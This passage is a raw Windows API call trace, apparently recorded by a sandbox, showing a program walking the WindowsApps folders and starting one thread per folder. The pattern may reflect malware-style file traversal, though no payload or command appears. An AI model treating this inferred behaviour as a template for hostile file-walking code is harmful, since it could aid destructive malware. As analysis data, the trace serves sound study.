	[0073.780] wcscat (in: _Dest=0x2d7fb98, _Source="Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe"
	[0073.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fb98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0073.781] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI5BB5~1.0_N")) returned 1
	[0073.781] wcscmp (_String1="Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.781] wcscmp (_String1="Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.781] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d288
	[0073.781] wcscpy (in: _Dest=0x2d7d288, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.781] wcscat (in: _Dest=0x2d7d288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.781] wcscat (in: _Dest=0x2d7d288, _Source="Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe"
	[0073.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7d288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0073.782] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29a48b6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8c685e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8c685e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe", cAlternateFileName="MID6EE~1.SCA")) returned 1
	[0073.782] wcscmp (_String1="Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.782] wcscmp (_String1="Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.782] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7eaf8
	[0073.782] wcscpy (in: _Dest=0x2d7eaf8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.782] wcscat (in: _Dest=0x2d7eaf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.782] wcscat (in: _Dest=0x2d7eaf8, _Source="Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe"
	[0073.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7eaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0073.783] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2889e07b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbd8a0611, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbd8a0611, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIE03D~1.0_X")) returned 1
	[0073.783] wcscmp (_String1="Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.783] wcscmp (_String1="Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d619a0
	[0073.783] wcscpy (in: _Dest=0x2d619a0, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.783] wcscat (in: _Dest=0x2d619a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.783] wcscat (in: _Dest=0x2d619a0, _Source="Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0073.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d619a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0073.784] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac06201d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIAA72~1.0_N")) returned 1
	[0073.784] wcscmp (_String1="Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.784] wcscmp (_String1="Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x2d53850
	[0073.784] wcscpy (in: _Dest=0x2d53850, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.784] wcscat (in: _Dest=0x2d53850, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.784] wcscat (in: _Dest=0x2d53850, _Source="Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0073.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d53850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0073.785] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac29e374, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI825E~1.0_X")) returned 1
	[0073.785] wcscmp (_String1="Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.785] wcscmp (_String1="Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.785] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d5c040
	[0073.785] wcscpy (in: _Dest=0x2d5c040, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.785] wcscat (in: _Dest=0x2d5c040, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.785] wcscat (in: _Dest=0x2d5c040, _Source="Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0073.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5c040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0073.786] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62a7e361, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe", cAlternateFileName="MI476B~1.0_X")) returned 1
	[0073.786] wcscmp (_String1="Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0073.786] wcscmp (_String1="Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0073.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x2d5c100
	[0073.786] wcscpy (in: _Dest=0x2d5c100, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.786] wcscat (in: _Dest=0x2d5c100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.786] wcscat (in: _Dest=0x2d5c100, _Source="Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0073.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d5c100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0073.787] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIC168~1.0_N")) returned 1
	[0073.787] wcscmp (_String1="Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.787] wcscmp (_String1="Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x2d7e208
	[0073.787] wcscpy (in: _Dest=0x2d7e208, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.787] wcscat (in: _Dest=0x2d7e208, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.787] wcscat (in: _Dest=0x2d7e208, _Source="Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0073.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0073.788] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390dfd83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MI06F6~1.SCA")) returned 1
	[0073.788] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.788] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a010
	[0073.788] wcscpy (in: _Dest=0x2d8a010, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.788] wcscat (in: _Dest=0x2d8a010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.788] wcscat (in: _Dest=0x2d8a010, _Source="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0073.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8a010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0073.789] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33798b5a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96c435e, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96c435e, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI9806~1.0_N")) returned 1
	[0073.789] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0073.789] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0073.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6f210
	[0073.789] wcscpy (in: _Dest=0x2d6f210, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.789] wcscat (in: _Dest=0x2d6f210, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.789] wcscat (in: _Dest=0x2d6f210, _Source="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe"
	[0073.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d6f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c
	[0073.789] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34052404, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc96ea5b4, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc96ea5b4, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIEA86~1.0_X")) returned 1
	[0077.920] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.920] wcscmp (_String1="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47cae40
	[0077.920] wcscpy (in: _Dest=0x47cae40, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.920] wcscat (in: _Dest=0x47cae40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.920] wcscat (in: _Dest=0x47cae40, _Source="Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe"
	[0077.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cae40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34
	[0077.921] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a98e846, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb314296, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb314296, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIA5B6~1.SCA")) returned 1
	[0077.921] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2=".") returned 1
	[0077.921] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe", _String2="..") returned 1
	[0077.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f450
	[0077.921] wcscpy (in: _Dest=0x477f450, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.921] wcscat (in: _Dest=0x477f450, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.921] wcscat (in: _Dest=0x477f450, _Source="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0077.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0077.922] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69c2543c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MIFFC1~1.0_N")) returned 1
	[0077.922] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0077.922] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0077.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476cb80
	[0077.922] wcscpy (in: _Dest=0x476cb80, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.922] wcscat (in: _Dest=0x476cb80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.922] wcscat (in: _Dest=0x476cb80, _Source="Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe"
	[0077.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476cb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0077.923] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69e152fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcb2ee04f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcb2ee04f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIAB25~1.0_X")) returned 1
	[0077.923] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe", _String2=".") returned 1
	[0077.923] wcscmp (_String1="Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe", _String2="..") returned 1
	[0077.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x476a0e8
	[0077.923] wcscpy (in: _Dest=0x476a0e8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0077.923] wcscat (in: _Dest=0x476a0e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0077.923] wcscat (in: _Dest=0x476a0e8, _Source="Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe"
	[0077.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476a0e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0077.923] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16112ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xcd2853a0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xcd2853a0, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MI34B5~1.0_N")) returned 1
	[0077.923] wcscmp (_String1="Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe", _String2=".") returned 1
	[0077.924] wcscmp (_String1="Microsoft.MSPaint_1.1702.28017.0_neutral_~_8wekyb3d8bbwe", _String2="..") returned 1
	[0077.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2ddbaf8
	[0077.924] wcscpy (in: _Dest=0x2ddbaf8, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
